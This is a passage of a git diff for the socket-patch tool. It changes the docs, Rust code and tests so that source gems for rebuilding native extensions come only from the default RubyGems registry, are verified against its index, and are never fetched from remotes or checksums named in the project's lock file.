archive is the copy's own for a gem RubyGems built, and the ruby-platform `-.gem` for a precompiled -one. It is taken from the gem home's `cache/`, where RubyGems and Bundler keep it, with no network -(unless `Gemfile.lock` pins another `CHECKSUMS` sha256 for it). Otherwise, and not under -`--offline`, it is downloaded from the gem's source: the `remote:` of the lock's `GEM` section -that lists the gem, else `https://rubygems.org` (`SOCKET_RUBYGEMS_URL`), as `/gems/`. -The download must have the sha256 the lock's `CHECKSUMS` pins for that gem, else the one the -source's compact index (`/info/`) records; an archive nothing pins is not used. +one. It is taken from the gem home's `cache/`, where RubyGems and Bundler keep it, as it is and +with no network. Otherwise, and not under `--offline`, it is downloaded from the default registry, +`https://rubygems.org` or the registry `SOCKET_RUBYGEMS_URL` names (a mirror), as +`/gems/`, and used only when its sha256 is the one that registry's compact index +(`/info/`) records. Nothing in the project's lock chooses the URL or the hash: not +a `remote:`, not `CHECKSUMS`. The lock is read to withhold the download: a gem that +`Gemfile.lock` / `gems.locked` resolves from another source (a `GEM` section with a remote that +is not the registry, a private gem server or Socket's patch registry among them; a `GIT` or `PATH` +section) is not the registry's gem of that name, and nothing is fetched for it. Its cached archive +is then the only way to its source. **The rebuild.** The archive is unpacked into a stage inside the gem home (`/.socket-patch-build/-[-]/`), by RubyGems, and must be that gem and @@ -926,8 +930,8 @@ staged gem's extension in the stage, with the build arguments it recorded for th (`build_info/`). A gem the staged gem depends on at runtime that is not on the build's `GEM_PATH` (the stage home, the copy's home, the caller's `GEM_PATH`, RubyGems' defaults) is staged too: the newest ruby-platform release the requirement allows that runs on the building Ruby, downloaded -from the same source and verified against its compact index, and installed into the stage home. A -precompiled nokogiri has no `mini_portile2`, which its build needs. Nothing is ever installed into +from the registry under the same rules and verified against its compact index, and installed into +the stage home. A precompiled nokogiri has no `mini_portile2`, which its build needs. Nothing is ever installed into the user's gem home, and the stage is removed when the run ends. Until the build has finished, nothing of the installed copy is touched. @@ -944,13 +948,17 @@ place of the compiled code: `lib/sqlite3/3.3/sqlite3_native.so`), for the building Ruby's `major.minor`. When that path is not there, the one file of that name under the require path is taken. No such file, or more than one, is refused with nothing written. The binaries the gem ships for other Rubies are left as - they are. The owning Ruby is the one that runs the gem's platform and builds its extensions where - the gem home has its other gems' (`extensions///`); in a home with none, the one - whose ABI the home's directory name carries (`…/ruby/3.4.0`). + they are. The owning Ruby is the one that runs the gem's platform and builds extensions for the + Ruby ABI the gem home's other native gems were built for (the `` of its + `extensions///` directories); in a home with none, the one whose ABI the home's + directory name carries (`…/ruby/3.4.0`). A home that shows neither is taken to be that Ruby's. A build input the installed copy does not hold (a precompiled gem never shipped `patches/**`; a build removed `ports/**`) is written into the copy even when the record replaces existing content: -that content was checked in the source gem. `rollback` removes such a file again. +that content was checked in the source gem. `rollback` removes such a file again. Its absence +also does not count against the ruby-platform record (`?platform=ruby`, or no qualifier) when a +release variant is matched to the installed copy, as a missing file otherwise does; a record +qualified for another platform is matched as before. **Without the source gem.** A gem RubyGems built is rebuilt in place, from its own tree: the patched sources are written, the current build is moved aside, and RubyGems builds into a fresh @@ -958,7 +966,8 @@ extension directory; a failed build puts the old build and the original sources work for a gem whose build removed its inputs, and a record that changes a removed input is refused instead. A precompiled gem has no such fallback: it is refused with `native_extensions_unsupported`, and the message says what is needed (one run with network access -to the gem's source, or the source gem in the home's `cache/`). The JRuby build of a gem (the +to the registry, or the source gem in the home's `cache/`; for a gem the lock resolves from +another source, only the latter). The JRuby build of a gem (the `java` platform) ships jars compiled from Java sources, which no source gem's build produces: a record that changes its build inputs is always refused. @@ -1017,7 +1026,7 @@ a file the copy does not hold is not written: the record fails on it as on any m | Code | Run result | Meaning | |---|---|---| -| `native_extensions_unsupported` | refused, exit 1 | The record changes build inputs that cannot be rebuilt here: the copy is not a RubyGems install with a `specifications/` entry (a Bundler git checkout); the gem neither declares extensions nor is a platform gem; it is the JRuby (`java`) build; no Ruby that owns the install was found; a precompiled gem's source gem is neither in the home's `cache/` nor downloadable (offline, not served, not pinned by a checksum); the record does not apply to the source gem; a gem the build needs is not installed and could not be staged; the build has no counterpart among the gem's prebuilt binaries. Nothing is written. Also: another run is rebuilding the same gem right now, or an interrupted rebuild could not be undone (the error says which). | +| `native_extensions_unsupported` | refused, exit 1 | The record changes build inputs that cannot be rebuilt here: the copy is not a RubyGems install with a `specifications/` entry (a Bundler git checkout); the gem neither declares extensions nor is a platform gem; it is the JRuby (`java`) build; no Ruby that owns the install was found; a precompiled gem's source gem is neither in the home's `cache/` nor downloadable (offline, locked from another source, not served or not listed with a checksum by the registry); the record does not apply to the source gem; a gem the build needs is not installed and could not be staged; the build has no counterpart among the gem's prebuilt binaries. Nothing is written. Also: another run is rebuilding the same gem right now, or an interrupted rebuild could not be undone (the error says which). | | `native_extension_build_failed` | refused, exit 1 | The extension did not build from the patched sources (no compiler or Ruby headers, a build error), or the finished build could not be moved into place. The installed copy is as it was before the run; the error carries the build output's tail. | | `native_extension_rebuilt` | warning | The sources were already patched (by a release before #1996, or with `--no-gem-native-rebuild`) and the extension was rebuilt from them. Under `--dry-run`: the rebuild a real `apply` would run; no Ruby is started and nothing is downloaded to check that it can. | | `native_extension_not_rebuilt` | warning | `--no-gem-native-rebuild`: the sources were written without a rebuild; Ruby loads the old build until the caller compiles it. | @@ -1895,7 +1904,7 @@ Env-only knobs used for hosted upstream restoration and JVM metadata verificatio | `SOCKET_CRATES_INDEX` | `https://index.crates.io` | v5.0 upstream restore: the crates.io sparse index whose `checksum` a restored `Cargo.lock` entry gets back. | | `SOCKET_GOSUMDB_URL` | `https://sum.golang.org` | v5.0 upstream restore: the checksum database the restored go.sum lines are checked against. Without it, `GOSUMDB=off` or a module matching `GONOSUMDB` (default `GOPRIVATE`) skips the database and the hashes come from the module proxy's bytes alone (`SOCKET_GOPROXY` above). | | `SOCKET_PYPI_JSON_API` | `https://pypi.org/pypi` | PyPI's JSON API (`///json`): the release files whose sha256 the upstream restore writes back into every Python lock format. | -| `SOCKET_RUBYGEMS_URL` | `https://rubygems.org` | v5.0 upstream restore: the compact index (`/info/`) a restored `CHECKSUMS` entry is re-pinned from. Agent mode: where the source gem of a native-extension gem (`/gems/`), and a gem its build lacks, are downloaded and their checksums read (`/info/`) when the lock names rubygems.org or no source for them. | +| `SOCKET_RUBYGEMS_URL` | `https://rubygems.org` | v5.0 upstream restore: the compact index (`/info/`) a restored `CHECKSUMS` entry is re-pinned from. Agent mode: the registry the source gem of a native-extension gem (`/gems/`), and a gem its build lacks, are downloaded from and their checksums read from (`/info/`); a lock `remote:` equal to it counts as the registry. | | `SOCKET_PACKAGIST_URL` | `https://repo.packagist.org` | v5.0 upstream restore: packagist's composer v2 metadata (`/p2//.json`) a restored `composer.lock` `dist` / `source` comes from. | | `SOCKET_NUGET_URL` | `https://api.nuget.org` | v5.0 upstream restore: the nuget.org API host whose catalog `packageHash` a restored `packages.lock.json` `contentHash` comes from. | diff --git a/crates/socket-patch-cli/src/commands/apply.rs b/crates/socket-patch-cli/src/commands/apply.rs index 3754e8a7c..5ccab1fe9 100644 --- a/crates/socket-patch-cli/src/commands/apply.rs +++ b/crates/socket-patch-cli/src/commands/apply.rs @@ -2959,7 +2959,14 @@ async fn apply_patches_inner( || (Ecosystem::from_purl(purl) == Some(Ecosystem::Gem) && has_build_sibling(pkg_path, copy_paths))) { - let first_status = match representative_file(&patch.files) { + // A native gem's copy does not hold every build + // input of its source gem (a build removes them; a + // precompiled gem never shipped them): those cannot + // tell distributions apart. + let telling = + gem_ext::discriminating_files(pkg_path, variant_purl, &patch.files) + .await; + let first_status = match representative_file(&telling) { Some((file_name, file_info)) => Some( verify_file_patch(pkg_path, file_name, file_info) .await diff --git a/crates/socket-patch-cli/tests/e2e_gem_native_ext_build.rs b/crates/socket-patch-cli/tests/e2e_gem_native_ext_build.rs index 36c88e3b4..ed1447865 100644 --- a/crates/socket-patch-cli/tests/e2e_gem_native_ext_build.rs +++ b/crates/socket-patch-cli/tests/e2e_gem_native_ext_build.rs @@ -1657,7 +1657,7 @@ fn a_precompiled_copy_without_its_source_gem_is_refused() { for needle in [ "sp_native-1.0.0.gem", "this run is offline", - "with network access to the gem's source", + "with network access to", "cache", ] { assert!(error.contains(needle), "{args:?}: no {needle:?} in {error}"); @@ -1674,6 +1674,43 @@ fn a_precompiled_copy_without_its_source_gem_is_refused() { assert!(stdout.contains("could not be downloaded"), "{stdout}"); assert_eq!(ruby.calls(), ["extensions_dir"]); assert_tree(&proj.join("vendor"), &tree_before, ""); + + // Online, for a gem the lock resolves from another source: the + // registry's gem of that name is not this gem, and the lock's remote + // is not a place the run downloads from. Nothing is asked of anyone. + std::fs::write( + proj.join("Gemfile.lock"), + "GEM\n remote: https://gems.example.test/private/\n specs:\n \ + sp_native (1.0.0-x86_64-linux)\n\nPLATFORMS\n x86_64-linux\n\n\ + DEPENDENCIES\n sp_native\n\nCHECKSUMS\n \ + sp_native (1.0.0) sha256=0000000000000000000000000000000000000000000000000000000000000000\n", + ) + .unwrap(); + let ruby = FakeRuby::new(); + for args in [&["apply", "--json"][..], &["apply", "--json", "--dry-run"]] { + let (code, stdout, stderr) = ruby.run(&proj, args, &[]); + assert_eq!(code, 1, "{args:?}: {stdout}\n{stderr}"); + let env = parse_json_envelope(&stdout); + let error = common::envelope::event_for(&env, PURL)["error"] + .as_str() + .unwrap_or_default() + .to_string(); + assert!( + error.starts_with("native_extensions_unsupported:"), + "{args:?}: {stdout}" + ); + assert!( + error.contains("resolves sp_native from https://gems.example.test/private") + && error.contains("is not downloaded"), + "{args:?}: {error}" + ); + assert!( + error.contains("Put sp_native-1.0.0.gem in") && !error.contains("network access"), + "{args:?}: {error}" + ); + assert_eq!(ruby.calls(), Vec::::new(), "{args:?}: Ruby ran"); + assert_tree(&proj.join("vendor"), &tree_before, &format!("{args:?}")); + } } /// The record is laid over the pristine source gem before anything is diff --git a/crates/socket-patch-core/src/patch/apply.rs b/crates/socket-patch-core/src/patch/apply.rs index 71507fd20..b24ea4874 100644 --- a/crates/socket-patch-core/src/patch/apply.rs +++ b/crates/socket-patch-core/src/patch/apply.rs @@ -419,6 +419,9 @@ async fn variant_installed_at( } return false; } + // A native gem's copy does not hold every build input of its source + // gem; those cannot tell distributions apart (see `gem_ext`). + let files = &*crate::patch::gem_ext::discriminating_files(pkg_path, key, files).await; // Representative file: only a file that modifies existing content // (non-empty `beforeHash`) can discriminate between distributions — // a NEW file (empty `beforeHash`) verifies Ready against any diff --git a/crates/socket-patch-core/src/patch/gem_ext.rs b/crates/socket-patch-core/src/patch/gem_ext.rs index 884737d5c..e3dd1ebf7 100644 --- a/crates/socket-patch-core/src/patch/gem_ext.rs +++ b/crates/socket-patch-core/src/patch/gem_ext.rs @@ -28,8 +28,10 @@ //! //! The source gem, `-.gem`, when it can be had //! ([`crate::patch::gem_source`]): from the gem home's `cache/`, where -//! RubyGems and Bundler keep it, else downloaded from the gem's source and -//! verified against the sha256 the lock or that source's index pins. An +//! RubyGems and Bundler keep it, else downloaded from the default registry +//! and verified against the sha256 its compact index records. Nothing in +//! the project's lock chooses the URL or the hash; a gem the lock resolves +//! from another source is not downloaded at all. An //! installed copy does not hold everything its extension was built from: a //! build deletes what it is done with (nokogiri's `ports/`), and a //! precompiled gem never shipped the build's inputs. The rebuild: @@ -72,8 +74,8 @@ //! the current build is moved aside, and RubyGems builds into a fresh //! extension dir; a failed build puts the old build and the original //! sources back. A precompiled gem has no such fallback and is refused, -//! with what it needs: network access to the gem's source once, or the -//! source gem in the home's `cache/`. +//! with what it needs: network access to the registry once, or the source +//! gem in the home's `cache/`. //! //! `vex` and `apply --check` attest a copy only when its marker matches the //! record's patched sources and every recorded artifact still hashes as @@ -103,10 +105,10 @@ //! 2. RubyGems, unpacking the source gem into the stage //! (`RubyRun::Unpack`) and naming the gems its build depends on that are //! not installed (`RubyRun::MissingDeps`). The archive's metadata is -//! read as data; none of its code runs. A missing gem is downloaded, -//! verified against its source's index and installed into the stage -//! home (`RubyRun::Install`), which runs that gem's build scripts if it -//! has any. +//! read as data; none of its code runs. A missing gem is downloaded +//! from the registry, verified against its index and installed into the +//! stage home (`RubyRun::Install`), which runs that gem's build scripts +//! if it has any. //! 3. With the record laid over the staged gem, RubyGems' extension builder //! (`RubyRun::StageBuild`). It runs the archive's own build scripts //! (`extconf.rb`, a Rakefile, `make`, the compiler), as `gem install` @@ -1633,10 +1635,11 @@ fn abi_of_home(home: &Path) -> Option { /// /// * runs gems of that platform (`Gem::Platform#===`, as RubyGems picks a /// platform gem), and -/// * builds its extensions where this gem home has some (the home's -/// `extensions//` dirs, from its other native gems); in a -/// home with none, its ABI is the one the home's dir name carries -/// (`…/ruby/3.4.0`), when it carries one. +/// * builds extensions for the ABI this gem home has some for (the +/// `` of its `extensions//` dirs, from its other +/// native gems); in a home with none, its ABI is the one the home's dir +/// name carries (`…/ruby/3.4.0`), when it carries one. A home that shows +/// neither is taken to be the candidate's. /// /// Its facts are part of the answer: the build is grafted over the binary /// the gem keeps for that Ruby's `major.minor`. @@ -1677,19 +1680,25 @@ async fn find_platform_ruby( )); continue; } - let abi = extensions_dir - .file_name() + // The `` dir this Ruby builds into (`3.4.0`): the platform dir + // above it may be spelled for another OS release (`arm64-darwin-24` + // after an upgrade), and the gem's own platform was just checked. + let abi_dir = extensions_dir.file_name().map(|n| n.to_os_string()); + let abi = abi_dir + .as_ref() .map(|n| n.to_string_lossy().trim_end_matches("-static").to_string()) .unwrap_or_default(); let owns = if !installed.is_empty() { - installed.iter().any(|dir| same_path(dir, &extensions_dir)) + installed + .iter() + .any(|dir| dir.file_name().map(|n| n.to_os_string()) == abi_dir) } else { abi_of_home(©.home).is_none_or(|home_abi| home_abi == abi) }; if !owns { reasons.push(format!( - "{} builds extensions into {}, which is not where this gem home has its own \ - (another Ruby's)", + "{} builds extensions into {}, and this gem home's are built for another Ruby \ + ABI", ruby.display(), extensions_dir.display() )); @@ -2469,13 +2478,13 @@ async fn stage_blobs( /// Put the gems the staged gem's build depends on, and no gem on the /// build's `GEM_PATH` provides, into the stage home: each is the newest -/// release its requirement allows, downloaded from the gem's source and -/// verified against that source's index, then installed there by RubyGems. -/// The user's gem home is never written. `Err` names what is missing. +/// release its requirement allows, downloaded from the default registry +/// and verified against its index ([`GemSource::dependency`]), then +/// installed there by RubyGems. The user's gem home is never written. +/// `Err` names what is missing. async fn stage_dependencies( copy: &GemCopy, probe: &Probe, - source: &GemId, staged: &StagedGem, stage: &Stage, gems: &GemSource, @@ -2486,11 +2495,6 @@ async fn stage_dependencies( .as_ref() .map(RubyFacts::versions) .unwrap_or_default(); - let mut bases = gems.bases(source); - let default = crate::patch::redirect::upstream::rubygems_base(); - if !bases.contains(&default) { - bases.push(default); - } let mut staged_names: Vec = Vec::new(); loop { let run = RubyRun::MissingDeps { @@ -2526,7 +2530,7 @@ async fn stage_dependencies( return Err(format!("{needed} and could not be staged for the build")); } let (id, bytes) = gems - .dependency(&bases, &name, &requirement, &versions) + .dependency(&name, &requirement, &versions) .await .map_err(|why| format!("{needed} and could not be downloaded ({why})"))?; let archive = stage.root.join(format!("{}.gem", id.full_name())); @@ -2563,7 +2567,7 @@ async fn build_staged( gems: &GemSource, env: &RubyEnv, ) -> Result { - stage_dependencies(copy, probe, source, &staged, stage, gems, env) + stage_dependencies(copy, probe, &staged, stage, gems, env) .await .map_err(StageFailure::Dependencies)?; let run = RubyRun::StageBuild { @@ -2956,6 +2960,49 @@ async fn files_as_installed( (out, absent) } +/// The files of the record `key` (a manifest purl) that can tell whether the +/// gem copy at `pkg_path` is the distribution the record was written for. +/// A release variant is matched to an installed copy by a file it replaces +/// ([`select_installed_variants`](crate::patch::apply::select_installed_variants)): +/// one that is missing means another distribution. That does not hold for a +/// build input of the ruby-platform record that an installed native gem +/// does not hold ([`files_as_installed`]): its absence says the copy was +/// built, not that it is another gem, and the source gem is where its +/// content is checked. Those files are left out. Any other record or copy: +/// `files` as they are (a `java` record stays unmatched on an MRI copy, and +/// the ruby record on a JRuby copy, which nothing here rebuilds). +pub async fn discriminating_files<'f>( + pkg_path: &Path, + key: &str, + files: &'f HashMap, +) -> std::borrow::Cow<'f, HashMap> { + use std::borrow::Cow; + let ruby_record = crate::utils::purl::purl_qualifier(key, "platform") + .is_none_or(|platform| platform.eq_ignore_ascii_case("ruby")); + if !key.starts_with("pkg:gem/") || !ruby_record { + return Cow::Borrowed(files); + } + let (scope, copy) = scope_of(pkg_path, files).await; + let Some(copy) = copy.filter(|_| !scope.inputs.is_empty()) else { + return Cow::Borrowed(files); + }; + let rebuilt_from_source = scope.builds_extensions + || scope + .precompiled + .as_deref() + .is_some_and(|platform| !is_java_platform(platform)); + if !rebuilt_from_source { + return Cow::Borrowed(files); + } + let (_, absent) = files_as_installed(©, &scope, files).await; + if absent.is_empty() { + return Cow::Borrowed(files); + } + let mut telling = files.clone(); + telling.retain(|key, _| !absent.iter().any(|path| path == normalize_file_path(key))); + Cow::Owned(telling) +} + /// The record's files as `rollback` undoes them on the gem copy at /// `pkg_path`. A build input `apply` added to a copy that did not hold it /// ([`files_as_installed`]; the copy's backup lists them) is removed, not @@ -3338,14 +3385,9 @@ pub async fn apply_gem_package_patch( Some(source) => format!("{}.gem", source.full_name()), None => "its ruby-platform gem".to_string(), }; - let remedy = if missing { - format!( - " Run `socket-patch apply` once with network access to the gem's source, or \ - put {archive} in {}.", - copy.home.join("cache").display() - ) - } else { - String::new() + let remedy = match source { + Some(source) if missing => format!(" {}", gems.remedy(©.home, source)), + _ => String::new(), }; refusal( package_key, @@ -3359,43 +3401,35 @@ pub async fn apply_gem_package_patch( ), ) }; + let unnamed = || { + format!( + "{} does not name the gem and version it was installed from", + copy.spec_path.display() + ) + }; if precompiled { let Some(source) = &source else { - return needs_source_gem( - None, - format!( - "{} does not name the gem and version it was installed from", - copy.spec_path.display() - ), - false, - ); + return needs_source_gem(None, unnamed(), false); }; - if !gems.may_have(©.home, source).await { - return needs_source_gem( - Some(source), - format!( - "{} is not there and this run is offline", - crate::patch::gem_source::cache_path(©.home, source).display() - ), - true, - ); + if let Some(why) = gems.out_of_reach(©.home, source).await { + return needs_source_gem(Some(source), why, true); } } // So can a gem RubyGems built, when the record changes an input its // build removed from the installed copy. if !precompiled && !absent.is_empty() { - let reachable = match &source { - Some(source) => gems.may_have(©.home, source).await, - None => false, + let out_of_reach = match &source { + Some(source) => gems.out_of_reach(©.home, source).await, + None => Some(unnamed()), }; - if !reachable { - let why = "its archive is not in the gem home's cache and this run is offline"; + if let Some(why) = out_of_reach { + let remedy = source.as_ref().map(|s| gems.remedy(©.home, s)); return refusal( package_key, pkg_path, UNSUPPORTED_CODE, - absent_inputs_detail(&inputs, &absent, ©, why), + absent_inputs_detail(&inputs, &absent, &why, remedy.as_deref()), ); } } @@ -3495,28 +3529,23 @@ pub async fn apply_gem_package_patch( // The source gem holds every build input, where the installed copy may // not (a build deletes what it no longer needs; a precompiled gem never // shipped them): the extension is rebuilt from it when it can be had. - let archive = match &source { - Some(source) => gems.archive(©.home, source).await, - None => Err(format!( - "{} does not name the gem and version it was installed from", - copy.spec_path.display() - )), + let Some(source) = &source else { + return rebuild_in_place(&job, &probe, &absent, &unnamed(), None).await; }; - match (archive, &source) { - (Ok(archive), Some(source)) => { + match gems.archive(©.home, source).await { + Ok(archive) => { match rebuild_from_source_gem(&job, &probe, source, archive, &gems, &absent).await { Ok(applied) => applied, Err(why) if precompiled => needs_source_gem(Some(source), why, false), // Not an archive this copy can be rebuilt from: its own // tree is what is left to build. - Err(why) => rebuild_in_place(&job, &probe, &absent, &why).await, + Err(why) => rebuild_in_place(&job, &probe, &absent, &why, None).await, } } - (Err(why), _) if precompiled => needs_source_gem(source.as_ref(), why, true), - (Err(why), _) => rebuild_in_place(&job, &probe, &absent, &why).await, - (Ok(_), None) => { - let why = "its gemspec does not name the gem it was installed from"; - rebuild_in_place(&job, &probe, &absent, why).await + Err(why) if precompiled => needs_source_gem(Some(source), why, true), + Err(why) => { + let remedy = gems.remedy(©.home, source); + rebuild_in_place(&job, &probe, &absent, &why, Some(&remedy)).await } } } @@ -3524,34 +3553,39 @@ pub async fn apply_gem_package_patch( /// The refusal of a record that changes build inputs the installed copy of /// a gem RubyGems built no longer holds (`absent`), when the source gem /// that packs them cannot be had (`why`). -fn absent_inputs_detail(inputs: &str, absent: &[String], copy: &GemCopy, why: &str) -> String { +fn absent_inputs_detail( + inputs: &str, + absent: &[String], + why: &str, + remedy: Option<&str>, +) -> String { + let remedy = remedy.map(|r| format!(" {r}")).unwrap_or_default(); format!( "the patch changes native-extension sources ({inputs}), and the installed gem does not \ hold {} (a build removes what it is done with), so the extension can only be rebuilt \ - from the source gem, which could not be had: {why}; nothing was written. Run \ - `socket-patch apply` once with network access to the gem's source, or put the gem's \ - archive in {}.", - absent.join(", "), - copy.home.join("cache").display() + from the source gem, and that cannot be done here: {why}; nothing was written.{remedy}", + absent.join(", ") ) } /// Write the patched sources and rebuild the extension from the installed /// copy's own tree ([`rebuild`]): what is left when its source gem cannot -/// be had (`no_source_gem` says why). A failed build puts the sources and -/// the previous build back. A record that changes a build input the copy -/// no longer holds (`absent`) cannot be built this way: nothing here has -/// the file's content to check the record against. +/// be had (`no_source_gem` says why, `remedy` what would get it). A failed +/// build puts the sources and the previous build back. A record that +/// changes a build input the copy no longer holds (`absent`) cannot be +/// built this way: nothing here has the file's content to check the record +/// against. async fn rebuild_in_place( job: &Job<'_>, probe: &Probe, absent: &[String], no_source_gem: &str, + remedy: Option<&str>, ) -> GemApplied { if !absent.is_empty() { return job.refuse( UNSUPPORTED_CODE, - absent_inputs_detail(job.inputs, absent, job.copy, no_source_gem), + absent_inputs_detail(job.inputs, absent, no_source_gem, remedy), ); } let originals = job.originals().await; @@ -5464,4 +5498,179 @@ mod tests { assert!(why.contains("is not a directory"), "{why}"); assert_eq!(std::fs::read_dir(&elsewhere).unwrap().count(), 0); } + + /// A stand-in `ruby` for a precompiled copy's probe: it builds + /// extensions into `/extensions//` and says + /// `runs` when asked whether it runs the gem's platform. + #[cfg(unix)] + fn fake_platform_ruby(dir: &Path, platform_dir: &str, abi: &str, runs: &str) -> PathBuf { + use std::os::unix::fs::PermissionsExt; + std::fs::create_dir_all(dir).unwrap(); + let ruby = dir.join("ruby"); + std::fs::write( + &ruby, + format!( + "#!/bin/sh\nprintf '%s\\n' \"$3 $4 $5\" >> '{}'\n\ + printf 'sp_extensions_dir\\t%s\\n' \"$4/extensions/{platform_dir}/{abi}\"\n\ + printf 'sp_ruby\\t3.4.10\\t3.6.9\\tbundle\\t{platform_dir}\\t{runs}\\n'\n", + dir.join("calls").display() + ), + ) + .unwrap(); + std::fs::set_permissions(&ruby, std::fs::Permissions::from_mode(0o755)).unwrap(); + ruby + } + + /// [`find_platform_ruby`] over a script written a moment ago + /// ([`find_fresh_ruby`] says why it is tried again). + #[cfg(unix)] + async fn find_fresh_platform_ruby( + copy: &GemCopy, + env: &RubyEnv, + preflight: &Preflight, + ) -> Result { + loop { + match find_platform_ruby(copy, env, preflight.clone(), "arm64-darwin").await { + Err(why) if why.contains("os error 26") => { + tokio::time::sleep(Duration::from_millis(20)).await; + } + found => return found, + } + } + } + + /// A precompiled copy has no extension dir to match a Ruby to. Its + /// owner runs the gem's platform and builds for the ABI the home's + /// other native gems were built for, or, in a home with none, the ABI + /// the home's dir name carries. + #[cfg(unix)] + #[tokio::test] + async fn a_precompiled_copys_ruby_is_matched_by_platform_and_abi() { + let tmp = tempfile::tempdir().unwrap(); + let home = tmp.path().join("vendor/bundle/ruby/3.4.0"); + let copy = precompiled_gem(&home); + let env = RubyEnv { + cwd: tmp.path().to_path_buf(), + rebuild: true, + offline: true, + }; + let bin = tmp.path().join("bin"); + let preflight = |candidates: Vec| { + let installed = extension_dir_slots(©) + .iter() + .filter_map(|slot| slot.parent().map(Path::to_path_buf)) + .collect(); + Preflight { + installed, + candidates, + require_path: "lib".to_string(), + } + }; + + // No extension dirs in the home: its dir name carries the ABI. + let ruby = fake_platform_ruby(&bin.join("a"), "arm64-darwin-25", "3.4.0", "yes"); + let probe = find_fresh_platform_ruby(©, &env, &preflight(vec![ruby.clone()])) + .await + .unwrap(); + assert_eq!(probe.ruby, ruby); + assert_eq!(probe.lib_dir, copy.gem_dir.join("lib")); + assert_eq!( + probe.facts.as_ref().and_then(RubyFacts::minor).as_deref(), + Some("3.4") + ); + assert_eq!( + std::fs::read_to_string(bin.join("a/calls")).unwrap(), + format!("extensions_dir {} arm64-darwin\n", home.display()), + "the probe names the gem home and the gem's platform, nothing of the gem" + ); + let other_abi = fake_platform_ruby(&bin.join("b"), "arm64-darwin-25", "3.3.0", "yes"); + let why = find_fresh_platform_ruby(©, &env, &preflight(vec![other_abi.clone()])) + .await + .unwrap_err(); + assert!(why.contains("another Ruby ABI"), "{why}"); + // The first candidate that owns the home is the one. + let both = preflight(vec![other_abi, ruby.clone()]); + let probe = find_fresh_platform_ruby(©, &env, &both).await.unwrap(); + assert_eq!(probe.ruby, ruby); + + // A Ruby that does not run the gem's platform. + let foreign = fake_platform_ruby(&bin.join("c"), "x86_64-linux", "3.4.0", "no"); + let why = find_fresh_platform_ruby(©, &env, &preflight(vec![foreign])) + .await + .unwrap_err(); + assert!(why.contains("does not run arm64-darwin gems"), "{why}"); + + // The home's other native gems were built for 3.4.0, under an OS + // release's platform dir this Ruby no longer spells the same way. + std::fs::create_dir_all(home.join("extensions/arm64-darwin-24/3.4.0/racc-1.8.1")).unwrap(); + let probe = find_fresh_platform_ruby(©, &env, &preflight(vec![ruby.clone()])) + .await + .unwrap(); + assert_eq!(probe.ruby, ruby); + let static_ruby = + fake_platform_ruby(&bin.join("d"), "arm64-darwin-25", "3.4.0-static", "yes"); + let why = find_fresh_platform_ruby(©, &env, &preflight(vec![static_ruby])) + .await + .unwrap_err(); + assert!(why.contains("another Ruby ABI"), "{why}"); + } + + /// A release variant is matched to an installed copy by a file it + /// replaces. A build input of the ruby-platform record that a native + /// copy does not hold is not such a file: the copy was built (or + /// shipped prebuilt), it is not another gem. Records and copies nothing + /// here rebuilds from the source gem keep every file. + #[tokio::test] + async fn absent_build_inputs_do_not_decide_the_installed_variant() { + let tmp = tempfile::tempdir().unwrap(); + let copy = precompiled_gem(&tmp.path().join("home")); + let record: HashMap = [ + ("ext/a/a.c".to_string(), info(&"c".repeat(64))), + ("patches/0001.patch".to_string(), info(&"d".repeat(64))), + ("lib/a/gone.rb".to_string(), info(&"e".repeat(64))), + ] + .into(); + let keys = |files: &HashMap| { + let mut keys: Vec = files.keys().cloned().collect(); + keys.sort(); + keys + }; + // The source gem's record, qualified or not: the input the copy + // never shipped is left out; a missing Ruby file still tells. + for purl in ["pkg:gem/a@1", "pkg:gem/a@1?platform=ruby"] { + let telling = discriminating_files(©.gem_dir, purl, &record).await; + assert_eq!(keys(&telling), ["ext/a/a.c", "lib/a/gone.rb"], "{purl}"); + } + // Another platform's record, and another ecosystem's. + for purl in [ + "pkg:gem/a@1?platform=java", + "pkg:gem/a@1?platform=arm64-darwin", + "pkg:pypi/a@1", + ] { + let telling = discriminating_files(©.gem_dir, purl, &record).await; + assert_eq!(keys(&telling), keys(&record), "{purl}"); + } + + // A gem RubyGems built, whose build removed an input. + let built = installed_gem(&tmp.path().join("built"), "lib"); + let removed: HashMap = + [("ports/value.txt".to_string(), info(&"c".repeat(64)))].into(); + let telling = discriminating_files(&built.gem_dir, "pkg:gem/a@1", &removed).await; + assert!(telling.is_empty(), "{:?}", keys(&telling)); + + // The JRuby build is not rebuilt from the source gem: a file it + // lacks still says the ruby record is not its record. + let java_home = tmp.path().join("java"); + let java_dir = java_home.join("gems/a-1-java"); + std::fs::create_dir_all(java_dir.join("lib")).unwrap(); + std::fs::create_dir_all(java_home.join("specifications")).unwrap(); + std::fs::write( + java_home.join("specifications/a-1-java.gemspec"), + "Gem::Specification.new do |s|\n s.name = \"a\".freeze\n \ + s.version = \"1\".freeze\n s.platform = \"java\".freeze\nend\n", + ) + .unwrap(); + let telling = discriminating_files(&java_dir, "pkg:gem/a@1", &record).await; + assert_eq!(keys(&telling), keys(&record)); + } } diff --git a/crates/socket-patch-core/src/patch/gem_source.rs b/crates/socket-patch-core/src/patch/gem_source.rs index 8ff7d07a1..13efa04e7 100644 --- a/crates/socket-patch-core/src/patch/gem_source.rs +++ b/crates/socket-patch-core/src/patch/gem_source.rs @@ -10,20 +10,33 @@ //! archive, `-.gem`. This module finds it: //! //! 1. In the gem home's `cache/`, where RubyGems and Bundler keep the -//! archive of every gem they install from source. It is used as it is, -//! unless the project's lock pins a `CHECKSUMS` sha256 for the gem that -//! it does not have. No network is involved. -//! 2. Else downloaded from the gem's source: the `remote:` of the lock's -//! `GEM` section that lists the gem, else rubygems.org -//! (`SOCKET_RUBYGEMS_URL`). The bytes must have the sha256 the lock's -//! `CHECKSUMS` pins for the ruby-platform gem, else the one that source's -//! compact index (`info/`) records. An archive nothing pins is not -//! used. `--offline` skips this step. +//! archive of every gem they install from source. It is used as it is: +//! it has the trust of the installed copy beside it, and no network is +//! involved. +//! 2. Else downloaded from the default registry: rubygems.org, or the +//! registry `SOCKET_RUBYGEMS_URL` names (a mirror). The URL is built +//! from the gem's name and version, and the bytes are used only when +//! their sha256 is the one that registry's compact index +//! (`info/`) records. `--offline` skips this step. +//! +//! # What the lock is read for +//! +//! Nothing a lock entry holds drives a download: not its `remote:`, not +//! its `CHECKSUMS` (see `lock_pinned_locations_never_drive_a_download` in +//! `vendor::lock_inventory`). A lock entry may be Socket-hosted, where the +//! remote serves patched bytes and the checksum pins them, and a lock is a +//! file of the repository being scanned, which must not choose where code +//! that is about to be built comes from. The lock is read for one thing: +//! to *withhold* the 